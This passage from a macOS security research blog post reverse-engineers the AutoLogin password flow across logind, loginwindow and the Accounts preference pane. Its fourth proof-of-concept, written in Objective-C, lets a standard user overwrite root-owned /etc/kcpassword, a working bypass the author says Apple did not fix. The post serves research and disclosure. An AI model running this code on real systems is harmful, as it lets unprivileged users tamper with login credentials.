-(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 {
    [arg3 setExportedInterface:[[self listener] interface]];
    [arg3 setExportedObject:[[self listener] messageHandler]];
    [arg3 setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(LFSessionAgentConnectionInterface)]];
    [arg3 resume];
    return 0x1;
}

Listing – The listener:shouldAcceptConnection: method in LFlogindListenerDelegate

That’s not what we wanted for, but that’s what we get. Also, that’s not something implemented in logind. The other protocol which seem to be related to login is LFSessionAgentListenerDelegate.

@protocol LFLogindListenerLookupInterface <NSObject>
- (void)SMMoveSessionToConsoleTemporaryBridge:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SMReleaseSessionTemporaryBridge:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SMCreateSessionTemporaryBridge:(NSDictionary *)arg1 reply:(void (^)(int, unsigned int))arg2;
- (void)SMGetSessionAgentConnection:(void (^)(int, NSXPCListenerEndpoint *))arg1;
@end

Listing – The LFLogindListenerLookupInterface protocol

This is interesting. If we can reach this, we might be able to call SMGetSessionAgentConnection:, which would return us another XPC interface. But which? I couldn’t find these functions in login or
logind (only the strings), but I still decided to give it a try. Time for another POC.

#import <Foundation/Foundation.h>

@protocol LFLogindListenerLookupInterface <NSObject>
- (void)SMMoveSessionToConsoleTemporaryBridge:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SMReleaseSessionTemporaryBridge:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SMCreateSessionTemporaryBridge:(NSDictionary *)arg1 reply:(void (^)(int, unsigned int))arg2;
- (void)SMGetSessionAgentConnection:(void (^)(int, NSXPCListenerEndpoint *))arg1;
@end

static NSString* XPCHelperMachServiceName = @"com.apple.logind";


int main()
{

    NSString*  service_name = XPCHelperMachServiceName;

    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];

    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(LFLogindListenerLookupInterface)];

    [connection setRemoteObjectInterface:interface];

    [connection resume];

    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
    {
    NSLog(@"[-] Something went wrong");
    NSLog(@"[-] Error: %@", error);
    }];

    NSLog(@"obj: %@", obj);
    NSLog(@"conn: %@", connection);

    [obj SMGetSessionAgentConnection:^(int b, NSXPCListenerEndpoint * endpoint){
        NSLog(@"SMGetSessionAgentConnection Response: %d", b);


    }];

     [NSThread sleepForTimeInterval:10.0f];

    NSLog(@"Done");

}

Listing – Third POC

If we run this, everything seem to be fine.

csaby@mantarey ~ % ./login3
2022-03-23 17:04:28.858 login3[1965:42652] obj: <__NSXPCInterfaceProxy_LFLogindListenerLookupInterface: 0x600001760230>
2022-03-23 17:04:28.858 login3[1965:42652] conn: <NSXPCConnection: 0x600000560140> connection to service named com.apple.logind
2022-03-23 17:04:28.859 login3[1965:42663] SMGetSessionAgentConnection Response: 0
2022-03-23 17:04:38.864 login3[1965:42652] Done

Listing – Running the third POC

If we check the logs, they also don’t indicate any issue.

2022-03-23 17:04:28.858946+0100 0xa5bc     Default     0x0                  130    0    logind: (loginsupport) [com.apple.login:Logind_General] -[SessionManager sessionWithAuditSessionID:]:142: Session exists, returning: <Session: SessionID: 100003
2022-03-23 17:04:28.859026+0100 0xa5bc     Default     0x0                  130    0    logind: (loginsupport) [com.apple.login:Logind_General] -[SessionManagement SM_GetSessionRoleAccount:forRole:endPoint:]:838: The SessionAgent for <Session: SessionID: 100003

Listing – Monitoring logs while running the third POC

Ok, so we get a response, and likely a reference to a connection, but which? The name suggest some SessionAgent, so I made an educated guess and assumed that it will handle LFSessionAgentListenerDelegate. That interface has a method to also update the password.

- (void)SACSetAutologinPassword:(NSString *)arg1 reply:(void (^)(int))arg2;

Listing – SACSetAutologinPassword:reply: method of LFSessionAgentListenerDelegate protocol

Let’s make our 4th POC.

#import <Foundation/Foundation.h>

@protocol LFSessionAgentListenerInterface <NSObject>
- (void)SACLOFinishDelayedLogout:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SACLORegisterLogoutStatusCallacks:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SACLOStartLogoutWithOptions:(int)arg1 subType:(int)arg2 showConfirmation:(BOOL)arg3 countDownTime:(int)arg4 talOptions:(int)arg5 logoutOptions:(NSDictionary *)arg6 reply:(void (^)(int))arg7;
- (void)SACLOStartLogout:(int)arg1 subType:(int)arg2 showConfirmation:(BOOL)arg3 talOptions:(int)arg4 reply:(void (^)(int))arg5;
- (void)SACLogoutComplete:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SACNewSessionSignalReady:(void (^)(int))arg1;
- (void)SACStartSessionForUser:(unsigned int)arg1 reply:(void (^)(int))arg2;
- (void)SACStopSessionForLoginWindow:(void (^)(int))arg1;
- (void)SACStartSessionForLoginWindow:(void (^)(int))arg1;
- (void)SACSaveSetupUserScreenShots:(void (^)(int))arg1;
- (void)SACMiniBuddySignalFinishedStage1WithOptions:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SACMiniBuddyCopyUpgradeDictionary:(void (^)(int, NSDictionary *))arg1;
- (void)SACSetFinalSnapshot:(BOOL)arg1 reply:(void (^)(int))arg2;
- (void)SACStopProgressIndicator:(void (^)(int))arg1;
- (void)SACStartProgressIndicator:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SACBeginLoginTransition:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SACSwitchToLoginWindow:(void (^)(int))arg1;
- (void)SACSwitchToUser:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SACSetKeyboardType:(int)arg1 productID:(int)arg2 vendorID:(int)arg3 countryCode:(int)arg4 reply:(void (^)(int))arg5;
- (void)SACSetAutologinPassword:(NSString *)arg1 reply:(void (^)(int))arg2;
- (void)SACSetAppleIDForUser:(NSString *)arg1 verified:(BOOL)arg2 reply:(void (^)(int))arg3;
- (void)SACUpdateAppleIDUserLogin:(NSString *)arg1 reply:(void (^)(int))arg2;
- (void)SACRestartForUser:(NSString *)arg1 reply:(void (^)(int))arg2;
- (void)SACScreenSaverDidFadeInBackground:(BOOL)arg1 psnHi:(unsigned int)arg2 psnLow:(unsigned int)arg3 reply:(void (^)(int))arg4;
- (void)SACScreenSaverIsRunningInBackground:(void (^)(int, BOOL))arg1;
- (void)SACScreenSaverTimeRemaining:(void (^)(int, double))arg1;
- (void)SACScreenSaverStopNowWithOptions:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SACScreenSaverStopNow:(void (^)(int))arg1;
- (void)SACScreenSaverStartNow:(void (^)(int))arg1;
- (void)SACSetScreenSaverCanRun:(BOOL)arg1 reply:(void (^)(int))arg2;
- (void)SACScreenSaverCanRun:(void (^)(int, BOOL))arg1;
- (void)SACScreenSaverIsRunning:(void (^)(int, BOOL))arg1;
- (void)SACShieldWindowShowing:(void (^)(int, BOOL))arg1;
- (void)SACScreenLockEnabled:(void (^)(int, BOOL))arg1;
- (void)SACLockScreenImmediate:(void (^)(int))arg1;
- (void)SACScreenLockPreferencesChanged:(void (^)(int))arg1;
- (void)SACFaceTimeCallRingStop:(void (^)(int))arg1;
- (void)SACFaceTimeCallRingStart:(void (^)(int))arg1;
@end

@protocol LFLogindListenerLookupInterface <NSObject>
- (void)SMMoveSessionToConsoleTemporaryBridge:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SMReleaseSessionTemporaryBridge:(NSDictionary *)arg1 reply:(void (^)(int))arg2;
- (void)SMCreateSessionTemporaryBridge:(NSDictionary *)arg1 reply:(void (^)(int, unsigned int))arg2;
- (void)SMGetSessionAgentConnection:(void (^)(int, NSXPCListenerEndpoint *))arg1;
@end

static NSString* XPCHelperMachServiceName = @"com.apple.logind";


int main()
{

    NSString*  service_name = XPCHelperMachServiceName;

    NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];

    NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(LFLogindListenerLookupInterface)];

    [connection setRemoteObjectInterface:interface];

    [connection resume];

    id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
    {
    NSLog(@"[-] Something went wrong");
    NSLog(@"[-] Error: %@", error);
    }];

    NSLog(@"obj: %@", obj);
    NSLog(@"conn: %@", connection);

    [obj SMGetSessionAgentConnection:^(int b, NSXPCListenerEndpoint * endpoint){
        NSLog(@"SMGetSessionAgentConnection Response: %d", b);

        NSXPCConnection* SAConnection = [[NSXPCConnection alloc] initWithListenerEndpoint:endpoint];
        [SAConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(LFSessionAgentListenerInterface)]];
        [SAConnection resume];

        id login_window = [SAConnection remoteObjectProxy];

        [login_window SACSetAutologinPassword:@"password123" reply:^(int b2){
                 NSLog(@"SACSetAutologinPassword Reply, %d", b2);
            }];


    }];

    [NSThread sleepForTimeInterval:10.0f];

    NSLog(@"Done");

}

Listing – Fourth POC

If we run this code will get a connection to loginwindow. This can be seen from the logs.

2022-03-23 17:10:35.308403+0100 0xa796     Default     0x0                  130    0    logind: (loginsupport) [com.apple.login:Logind_General] -[SessionManager sessionWithAuditSessionID:]:142: Session exists, returning: <Session: SessionID: 100003
2022-03-23 17:10:35.308479+0100 0xa796     Default     0x0                  130    0    logind: (loginsupport) [com.apple.login:Logind_General] -[SessionManagement SM_GetSessionRoleAccount:forRole:endPoint:]:838: The SessionAgent for <Session: SessionID: 100003
2022-03-23 17:10:35.309154+0100 0xb13f     Default     0x0                  2029   0    login4: SMGetSessionAgentConnection Response: 0
2022-03-23 17:10:35.310193+0100 0xb025     Default     0x0                  144    0    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentCom SACSetAutologinPassword:reply:] | Enter,   sent by pid: 2029, name: login4
2022-03-23 17:10:35.313284+0100 0xb025     Default     0x0                  144    0    loginwindow: (loginsupport) [com.apple.login:SA_General] SASetAutologinPW: enter
2022-03-23 17:10:35.314019+0100 0xb025     Default     0x0                  144    0    loginwindow: (loginsupport) [com.apple.login:SA_General] SASetAutologinPW: exit: result = 0
2022-03-23 17:10:35.314056+0100 0xb025     Default     0x0                  144    0    loginwindow: [com.apple.loginwindow.logging:Standard] -[LoginDServer setAutologinPW:] | setAutologinPW success

Listing – Monitoring logs while running the fourth POC

It claims that the Password setting was successful, and indeed if we check the file, it was updated.

Awesome! This is interesting, as we can reach this functionality as a standard user. We could change a file, which is only owned by root.

Apple decided not to fix this.

But what does SACSetAutologinPassword:reply: do? We can find it in loginwindow.

/* @class SessionAgentCom */
-(void)SACSetAutologinPassword:(void *)arg2 reply:(void *)arg3 {
    r15 = arg3;
    r14 = arg2;
    r12 = self;
    rax = sub_1000590a6(*0x10012ab98);
    rbx = rax;
    if (os_log_type_enabled(rax, 0x0) != 0x0) {
            rax = [r12 debugLogConnectionInfo];
            var_40 = 0x8200202;
            *(&var_40 + 0x4) = "-[SessionAgentCom SACSetAutologinPassword:reply:]";
            *(int16_t *)(&var_40 + 0xc) = 0x840;
            *(&var_40 + 0xe) = rax;
            _os_log_impl(__mh_execute_header, rbx, 0x0, "%s | Enter, %@", &var_40, 0x16);
    }
    var_28 = **___stack_chk_guard;
    [[LoginDServer sharedLoginDServer] setAutologinPW:r14];
    (*(r15 + 0x10))(r15, 0x0);
    if (**___stack_chk_guard != var_28) {
            __stack_chk_fail();
    }
    return;
}

Listing – SACSetAutologinPassword:reply: method

`SACSetAutologinPassword:reply: will call setAutologinPW:.

/* @class LoginDServer */
-(void)setAutologinPW:(struct __CFString *)arg2 {
    rax = SASetAutologinPW(arg2, _cmd, arg2);

Listing – setAutologinPW: function

setAutologinPW: calls SASetAutologinPW, which is the original API we started with. If we recall that will make an XPC connection to logind to update the password. logind will eventually call SA_SetAutologinPassword:reply:. This is IPC madness!

Let’s try to summarize what just happened here, because I think it’s hard to follow.

  1. We opened an XPC connection to logind, and get an interface to loginwindow
  2. When we called the password set function in loginwindow, it called the same function in logind
  3. logind updated /etc/kcpassword

I hope you are still with me, as things will just get even more complicated.

Real Life Flow of Events

At this point I was really curious what happens in real life when we enable auto login in System Preferences. I enabled some logs, and made the change.

2022-03-23 17:25:02.994136+0100 0x141e     Default     0x18b52              657    0    com.apple.preferences.users.remoteservice: (loginsupport) [com.apple.login:SA_General] SACSetAutoLoginPassword:543: enter
2022-03-23 17:25:02.994590+0100 0xc62a     Debug       0x18b52              144    0    loginwindow: (LaunchServices) [com.apple.launchservices:cas] sessionID=-2 frontApplicationSeed=123
2022-03-23 17:25:02.994623+0100 0xc62a     Debug       0x18b52              144    0    loginwindow: (LaunchServices) [com.apple.launchservices:cas] sessionID=-2 menuBarOwnerApplicationSeed=120
2022-03-23 17:25:02.994648+0100 0xc62a     Default     0x18b52              144    0    loginwindow: [com.apple.loginwindow.logging:Standard] -[SessionAgentCom SACSetAutologinPassword:reply:] | Enter,   sent by pid: 657, name: com.apple.preferences.users.remoteservice (System Preferences)
2022-03-23 17:25:02.994670+0100 0xc62a     Default     0x18b52              144    0    loginwindow: (loginsupport) [com.apple.login:SA_General] SASetAutologinPW: enter
2022-03-23 17:25:02.995158+0100 0xc62a     Default     0x18b52              144    0    loginwindow: (loginsupport) [com.apple.login:SA_General] SASetAutologinPW: exit: result = 0
2022-03-23 17:25:02.995186+0100 0xc62a     Default     0x18b52              144    0    loginwindow: [com.apple.loginwindow.logging:Standard] -[LoginDServer setAutologinPW:] | setAutologinPW success
2022-03-23 17:25:02.995284+0100 0x141e     Default     0x18b52              657    0    com.apple.preferences.users.remoteservice: (loginsupport) [com.apple.login:SA_General] SACSetAutoLoginPassword:554: exit: result = 0

Listing – Monitoring logs while setting AutoLogin password

A unknown process, called com.apple.preferences.users.remoteservice showed up and that is the one initiating the whole updated. It’s located at /System/Library/PreferencePanes/Accounts.prefPane/Contents/XPCServices/com.apple.preferences.users.remoteservice.xpc/Contents/MacOS/com.apple.preferences.users.remoteservice.

Accounts.prefPane is the preference pane that is handling the user settings, yet it’s the XPC service that does the update. Moreover only the XPC interface has entitlements, not the main executable in Accounts.prefPane. If we load the service in disassembler, it’s basically empty, everything is implemented in the main binary.

What goes on here? Honestly I have to admit that I have no idea, I just have an guess. The XPC service seems to serve
as some sort of proxy interface to the whole pane. In fact every pane has a similar setup, and when we open it, both
the main binary and the service is loaded. There is one related Apple open source project I found, mDNSResponder: BonjourPrefRemoteViewService.h.

Here we can indeed find that the implementation is indeed empty, and includes the following non-public headers.

#import <ViewBridge/NSViewService.h>
#import <PreferencePanes/NSPrefRemoteViewService.h>

Listing – Private headers

So it seems to be some kind of framework for proxying actions. If anyone knows more about it, I’m interested, but I decided to not dig into this further and go with this assumption.

From here I will go through the rest of the items in less details. So let’s analyze Accounts pane then. It has a class, called AccountsLoginOptionsController, which has an _updateAutologin and changeAutologin: methods.

void -[AccountsLoginOptionsController changeAutologin:](int arg0)
...
           var_38 = [[ADMUser findUserByName:rax searchParent:rcx] retain];
            [rax release];
            [r13 release];
            r12 = [[var_30 representedObject] retain];
            r15 = var_40;
            rax = [var_40 name];
            rax = [rax retain];
            rsi = @selector(isEqualToString:);
            rdx = rax;
            r13 = _objc_msgSend_4c7f8(r12, rsi);
            [rax release];
            [r12 release];
            rdi = var_38;
            if (r13 == 0x0) {
                    r13 = var_48;
                    if (rdi != 0x0) {
                            r15 = rdi;
                            if ([rdi isGuestUser] != 0x0) {
                                    rax = [r13 loginPrefs];
                                    rax = [rax retain];
                                    rdi = r15;
                                    r15 = rax;
                                    rax = [rdi name];
                                    rax = [rax retain];
                                    r13 = rax;
                                    <cr>rsi = @selector(setAutomaticLoginUser:password:);</cr>
...

Listing – AccountsLoginOptionsController changeAutologin:

These will call the setAutomaticLoginUser:password: method of the ADMLoginPrefs class, which is implemented in the SystemAdministration framework.

/* @class ADMLoginPrefs */
-(char)setAutomaticLoginUser:(void *)arg2 password:(void *)arg3 {
    r15 = arg3;
    rbx = arg2;
    r13 = self;

...

loc_f7a9:
    [UserUtilities setMachineString:0x0 forKey:@"autoLoginUser" inDomain:@"com.apple.loginwindow"];
    [UserUtilities setMachineString:0x0 forKey:@"autoLoginUserUID" inDomain:@"com.apple.loginwindow"];
    rax = [r13 _setAutoLoginPassword:0x0];
    goto loc_f7f7;
...

Listing – setAutomaticLoginUser:password: method

This method will configure the system preferences and call _setAutoLoginPassword:.

/* @class ADMLoginPrefs */
-(int)_setAutoLoginPassword:(void *)arg2 {
    rbx = arg2;
    rax = [self _loginFrameworkBundle];
    if (rax == 0x0) goto loc_f06f;

loc_f042:
    rax = _SafeCFBundleGetFunctionPointerForName(rax, @"SACSetAutoLoginPassword");
    if (rax == 0x0) goto loc_f061;

loc_f056:
    rax = (rax)(rbx, @"SACSetAutoLoginPassword");
    return rax;

loc_f061:
    NSLog(@"dynamic loading of SACSetAutoLoginPassword() failed");
    goto loc_f06f;

loc_f06f:
    rax = 0xffffffffffffffff;
    return rax;
}

Listing – _setAutoLoginPassword: method

_setAutoLoginPassword: loads the login framework and calls its SACSetAutoLoginPassword. That function will open an XPC connection directly to logind to lookup the SessionAgent, which we know is loginwindow, and then connect to the agent, which will finally call logind.

Let’s summarize what happens when we set macOS AutoLogin in System preferences.

  1. Accounts.prefPane will load its XPC service
    com.apple.preferences.users.remoteservice
  2. The loaded XPC service will load the SystemAdministration framework and configure the loginwindow global preferences
  3. Then the XPC service will open an XPC connection to logind, and get an interface to loginwindow.
  4. Then it will call the password set function in loginwindow
  5. loginwindow will open an XPC connection to logind
  6. Finally loginwindow will call the password set function of logind
  7. logind updates /etc/kcpassword

As a side not for step #2. The preferences file is updated by making an XPC call to cfprefsd, the preferences daemon, which actually makes the change.

That’s about it. Although we didn’t uncover every single detail, we hope you have a better understanding now of the macOS AutoLogin configuration process.

Tags: ,

About The Author
Csaba
Csaba Fitzl
Content Developer

Csaba Fitzl has worked for 6 years as a network engineer and 8 years as a blue/red teamer in a large enterprise focusing on malware analysis, threat hunting, exploitation, and defense evasion. Currently, he is focusing on macOS research and working at OffSec as a content developer. He gives talks and workshops at various international IT security conferences, including Hacktivity, hack.lu, Troopers, SecurityFest, DEFCON, and Objective By The Sea.